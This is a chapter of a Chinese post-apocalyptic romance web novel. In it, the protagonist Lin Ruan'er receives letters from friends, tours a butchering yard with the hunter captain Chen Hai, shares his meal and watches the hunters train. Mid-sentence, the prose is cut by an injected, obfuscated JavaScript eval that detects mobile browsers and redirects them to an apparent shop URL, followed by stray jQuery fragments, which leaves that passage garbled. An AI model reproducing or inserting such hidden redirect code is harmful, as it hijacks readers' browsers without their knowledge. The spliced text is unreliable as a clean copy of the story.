30. 第 30 章

作品:《被末日男主们宠的病美人

    后勤部通常周末休假两天,林阮儿走出木屋,不知不觉地就走到了雨燕基地的一处,那是一个金属屋顶,阳光照射下,发出耀眼的光,导致她眯了眼,然后睁开了眼。


    这地方,居住区由上百个六边形单元拼接而成,每个单元门口都挂着编号牌,有些门边还晾着一些士兵的衣服。


    窄道上偶尔有人走过,而她就沿着主道慢慢走,一阵脚步声音忽然传来。


    她转过头,看见从后边走过来的人影。


    那男人简直壮得不像话,林阮儿估摸着他可能有两米高,肩膀很宽,穿着件深棕色的皮质背心,露出的两条胳膊上面有两道伤疤,一道是旧的疤痕,另外一道看着像是新伤。


    男人下身一件橘黄色的工装裤,等他走近了,林阮儿看清了他的脸。他的鼻梁中间有道细疤,下巴有着一圈极淡的胡茬,皮肤是常年在户外活动时晒出的深褐色,深灰双眼盯着她。


    停顿过后,然后是认真的打量,他低头看她:“你谁?”


    林阮儿介绍了自己的身份,男人闷声:“哦,新来的。”


    林阮儿点点头,她注意到男人左耳上缺了一小块,像是被什么咬掉的。


    “后勤部林阮儿,后勤居然还招你这样的小家雀儿?”男人又问,他走近了几步,林阮儿不得不微微仰头看他。


    “哦,忘了自我介绍,晨海,猎人队长。”


    林阮儿:“猎人队长是?”


    这里的队长她大多都见过了,没有前缀是猎人二字的,对方看她不解的样子,道:“猎人队是负责系统性的一切蛋白质来源,是肉食、皮革和军用工具的唯一供应线,需要在墙外搏命,才能带回活下去的物资。懂了吗?”


    林阮儿:“清楚了,是件很辛苦的事。”


    “你呢?一个人出来逛?”


    “想走出来透透气。”


    晨海:“这儿无非就是兵舍居住地,也叫蜂巢,没有什么好看的,不过你再往东边走,旧水塔那边的视野不错,能看到一些树冠层,通常,猴子、树懒、各种鸟类都会住在高高的树枝上。”


    林阮儿正要接话,忽然一个身影朝她走来,那人有些眼熟,身上有着跑者的轻便装备,背上有个防水的信使包。


    他停下步子,目光在林阮儿和晨海之间转了个来回。


    是秦槐。


    “林阮儿,这里有你的信。”秦槐从包里掏出一个密封的信袋,递给了她。


    林阮儿:“我的?”


    “这些信是从中央通讯站转过来的。”


    林阮儿接过信袋,她撕开封条,抽出里面的信件时愣住了,不止是一封,而是一叠。


    晨海还站在那儿,没走,他看着林阮儿翻阅信件。


    林阮儿快速扫过第一封祁牧炎的信,内容比她预想的要长,他详细询问了她的健康状况、住宿条件、饮食,然后花了整整两段描述前哨站近期的安全形势,还有一些关切的叮嘱,最后一段写的是他正在想办法,申请调她回去。


    最后一句是:可能需要一些时间,但已经在推进。


    第二封信是尹宿的。


    他除了一些简单的问候之外,更多的是关心她此刻的状况,还有傅青源、苏水鹤,林阮儿正在往后翻看,秦槐看她手里拿的一叠信,说:“林登记员,要不回去再看?”


    林阮儿于是把这些信件全部放到自己背后的包里,还好随身带着了,放进去后,秦槐好奇地问:“这些信都谁写的啊?这么厚一沓,情书?”


    林阮儿摇了摇头,说:“朋友。”


    “你的朋友还真多。”


    秦槐说完,又道,“我平时不做送信工作,送信的那位哥们儿最近有事,我就顺便接了,一次性这么厚几封,确实少见。”


    这时,晨海向前走了一步,问:“跑者进来要报备,你报了吗?”


    秦槐的表情僵了僵,林阮儿看出来,他确实没报备。


    晨海:“你的职业性质是很自由,但还没到不报备的程度。”


    秦槐掏掏耳朵,懒懒地道:“我就送个信,马上走,林阮儿,需要回信的话去中央通讯站登记,跑完你这趟就行。”


    林阮儿点头,她看样子乖巧极了,和上回见她不同,脑后绑了蝎子辫,换下了后勤制服换上私服,白衬衫长牛仔裤,有种别样清秀的美。


    秦槐看看她,又看看晨海,最后耸耸肩,凑近她耳畔,说:“成,不过提醒你一句,猎人队的家伙们野性未驯,小心点。”


    他说完就离开了,林阮儿脑中还在回想着他刚才的话,晨海见人走了,目光就落在林阮儿手里的信封:“是前哨站来的?”


    林阮儿点头:“朋友们。”


    “接你回去?”


    “嗯。”


    短暂的沉默后,他从口袋里摸出个扁铁盒,打开,捏了撮烟丝放进嘴里咀嚼,林阮儿注意到他的手指粗壮,关节处有厚茧。


    “雨燕基地没那么糟,至少比前哨站安全。”


    晨海咀嚼烟丝的动作慢了下来。他盯着林阮儿看了好一会儿,像野兽打量陌生的生物,好奇但不带恶意。


    “往水塔那边去,能看到我们昨天带回的猎物。”他顿了顿,“有兴趣的话。”


    “远吗?”她问。


    “不远。”晨海说完,蹲了下来,背对着她。


    林阮儿愣住了:“晨队长。”


    “上来。”


    林阮儿愣住了:“什么?”


    “坐我肩上,能从上面看得更清楚。”


    “我自己走就行。”林阮儿说。


    晨海站起来,转身面对她:“路不好走,你容易滑倒。”


    “我不怕。”


    “那行。”晨海没动,显然在等她一起走。


    林阮儿犹豫了两秒,跟了上去,他们离开蜂巢,拐进一条更窄的巷道。


    这里的墙壁更高,晨海走在她前面半步,放慢了步伐,但他一步几乎抵她两步,林阮儿还是得小跑着才能跟上。


    “你来了几天?”晨海问。


    “一周左右。”


    “待得习惯么?”


    “还好,待遇都挺不错的。”林阮儿回应他。


    之后,他们转过一个弯,空气里的气味变了,她闻到了一股十分浓烈的血腥气。


    林阮儿停下步子,转弯的一处就是目的的,他们停到一扇大铁门前。门虚掩着,晨海推开门,侧身让林阮儿先进。


    里面是个宽敞的院子,水泥地上有深深的血槽,院子的中央挂着三头已经剥了皮的野兽,它们的体型像牛但更大,头部长着扭曲的角。


    几个穿着防水围裙的人正在分割兽的肉块。


    林阮儿见过死物,但没见过这么多,她下意识屏住呼吸。


    自己只想看看猎物都有什么,却没想到会看到这一幕,她转过头去,旁边的晨海站到她身边,说:“这是昨天在雨林里猎的,一窝,肉能吃,皮能制甲,角磨粉入药。”


    一个正在剔骨的男人抬头看见晨海,问:“头儿!这批肝特别肥,留点晚上烤?”


    “嗯。”晨海应了一声。


    林阮儿背过身,晨海:“你不喜欢血腥气,跟我来。”


    男人领她绕过了处理区,走到院子另一头,这里有段铁梯通往屋顶,晨海先上,然后在平台边缘伸手拉林阮儿,他的手完全包裹住她的手腕,温热,有力。


    屋顶视野豁然开朗,远处是基地的高墙,墙外是雨林,他在平台边缘坐下,拍拍身边的位置。


    “坐。”


    林阮儿坐下,问:“晨队长是常来这里?”


    “这里就能看到树冠层,不过今天你没这个眼福,动物多数这时辰不怎么出来。”


    林阮儿:“我看到了,树上还真有一只小猴子,周身居然是金黄色的。”


    “不错,它们通常群居生活,但我们现在生活里早就已经没有规则,只有生存。”


    林阮儿好奇地问:“那个刺棘兽,你们会吃它吗?”


    “那是我们猎人队日常需要补充的营养,普通的士兵不会吃,不过它吃棘骨花,所以肉不很腥。”


    之后,他们顺着铁梯下去,回到了院子。


    “我送你回木屋。”晨海说。


    “不用,我记得路。”


    “顺路。”


    他们一起走到木屋区域,林阮儿对他说:“我到了。”


    晨海停下了步子,他低头看她,影子把她完全罩住。


    “水塔往北,有个旧的瞭望台,能看到日落,你什么时候想看去的话,就到蜂巢找我。”


    林阮儿并没拒绝他,第二天一早,经过蜂巢时,发现一个队伍正在晨跑,三个男人都穿着猎人队的深棕色制服,身高至少都有一米九,他们跑的时候,目光齐刷刷落在她身上。


    “哟,新面孔。”晨跑结束后,最左边的男人开口了。


    他理着寸头,眼神深邃,问:“哪个部门的?一个人出来,不怕遇到坏人啊?”


    右边那个一直没说话,只是眼睛在她脸上来回看,她注意到他脖子上有个刺青,像某种野兽的牙齿图案。


    林阮儿:“后勤的。”


    这个男人记得:“哦,昨天和晨队长一起的人就是你啊。”


    “不如先跟我们转转?”左边的寸头说。


    “让她过去吧,你别老吓唬人家。”右边的猎人士兵忽然开口了。


    左边寸头的那位,旁边让开了半步:“行行行,不过妹子,你真该看看我们训练,那才叫有意思,比你们后勤搬箱子强多了。”


    林阮儿和他对话了两句,准备走时,迎面走来了一位医疗兵制服的男人,他走过去后,和另外的士兵站定在一起。


    林阮儿能听到他们的对话。


    那位和林阮儿说话的猎人士兵说:“现在就开始注射啊?”


    男人也高,但没有猎人士兵那样壮,鼻梁架副眼镜,道:“肌肉强化剂,就缺你了。”


    林阮儿朝后往了眼,只见那医疗兵直接把针头扎进去,缓慢推入药液,整个过程面无表


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148604|195048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情,熟练得像做过几百遍。


    那个人的身影倒是有点眼熟,她每回经过医疗部的时候,都能看到一个瘦瘦的高个子男人,戴着眼镜,会是他吗?


    中午了,林阮儿就到食堂去,这里周末也会开门。


    大厅里面,她去到了领餐窗口,负责分餐的是个五十来岁的阿姨,瞟了她一眼,问她要什么,然后就往她盘子里舀了一勺灰褐色的糊状物,又夹了两块烤得焦黑的肉饼,最后放了半块粗粮面包,盘子沉甸甸的。


    林阮儿找了个靠边的位置坐下。


    糊状物尝起来是豆子和土豆混煮的,没什么味道,但今天的肉饼倒是还行,虽然会有点柴。


    她找位置时,看到了晨海,他走过去直接坐在她对面。


    晨海的头发湿漉漉,大概刚洗过,他手里端着个特制的餐盘,盘里的食物堆得像小山。


    他在林阮儿旁边坐下,餐盘放在桌上时发出沉重的一声。


    “晨队长训练完了?”林阮儿问。


    “嗯。”晨海开始吃饭。


    “猎人”的食物并不一样,大块的烤兽肉,还有牛肉,整颗的水煮蛋,蔬菜泥,还有一大碗浓稠的汤。


    晨海用他还没用过的叉子叉起一块肉,放到林阮儿的盘子里。


    “这不是兽肉,牛肉,得多吃点,你太瘦了。”


    林阮儿愣住了,盘子里那块肉比她自己的鱼大两倍,烤得恰到好处,表面焦脆,切面还泛着粉色的汁水。


    “我够吃。”


    晨海:“后勤部的伙食没营养,只够维持基础消耗,要保持足够体能,就得补充蛋白质。”


    于是,林阮儿拿起叉子,切了一小块肉放进嘴里,肉质比她想象的好,嫩,多汁,调味简单但恰到好处。


    “好吃吗?”晨海问,没看她。


    “好吃。”


    晨海听完,这才自己开吃,他吃完了盘里剩下的所有食物,连汤都喝得一滴不剩,然后靠回椅背,看着林阮儿小口小口地吃他给的东西。


    “下午什么安排?”他问。


    “没有。”


    “下午,你可以来看看猎人的训练场对抗赛,七点开始。”


    林阮儿吃完最后一口蔬菜泥,放下叉子,她真的饱了,甚至有点撑。


    “谢谢你的食物。”


    “不用谢。”晨海站起来,端起了空盘子,身影逐渐地走远了。


    林阮儿她摸摸肚子,确实比平时饱,肉和蛋已经进入了胃里边沉甸甸的,让她有点昏昏欲睡。


    她收拾盘子时,旁边桌的一位女医生凑过来,小声说:“晨队长对你真不错。”


    林阮儿看向她,女医生的年纪并不大。


    “猎人队的特供餐一般不分人的,他们出任务的消耗大,所以配额多,但很少见他们分给别人,尤其是外人。”


    “晨队长他只是觉得我需要补充营养。”林阮儿说。


    她笑道:“也许吧,不过小心点,猎人队的男人都直接得很,看上什么就会行动的。”


    说完,女医生就端着盘子走了。


    下午林阮儿准时到,训练场比林阮儿想象的大,用铁丝网围起来的一片空地,里面散落着各种器械,场边搭了个简易棚子,里面堆着哑铃和杠铃片。


    场里有十几个人在训练,清一色的高个子,全部都是猎人士兵,有的在翻轮胎,有的在甩铁链,还有两个在摔跤,她看得入神,没注意到有人走近。


    “想试试吗?”晨海说。


    “不了。”


    “那边有小点的,适合你。”


    他指了指场边,确实有几个小轮胎,但所谓的小只是相对而言,每个也有半人高。


    林阮儿摇了摇头,晨海笑了,没再难为她。


    又是昨天那两个猎人士兵,左边寸头方猛靠在铁丝网上,一边擦汗一边看她:“你是前哨站来的,对吧?”


    昨天右边的士兵吴黎:“昨天我们没吓着你吧?老二就是话多,没恶意。”


    “老二?”


    方猛:“就是我,方猛,这位是吴黎,我战友,他在兵舍住我下铺,是老三,哦,兵舍是四人。”


    林阮儿:“哦,那老大是谁啊?”


    方猛:“兵舍向来就只有老二,老大就我们晨队长一个。”


    说着,他把一个巨大的杠铃从地上拉起来,动作缓慢但稳定,林阮儿看到他的背肌完全展开,随着发力隆起又收紧,汗水顺着脊椎沟往下.流……


    杠铃就被举过头顶,稳住,然后缓缓放下,方猛直起身,喘了口气,然后转头看向她:“我们老大对你挺特别,他平时不怎么跟后勤的人说话,更不会带人去看处理场,昨天有人议论你,被老大听见了,罚他们多做了五十个引体向上。”


    方猛又说,“不过你别有压力,老大就是那样,看上什么人或东西,就直来直去,不玩弯弯绕绕。”


    林阮儿想要解释什么,吴黎:“老二,你又逗人家。”


    “行,我不多嘴了,继续训练去了。”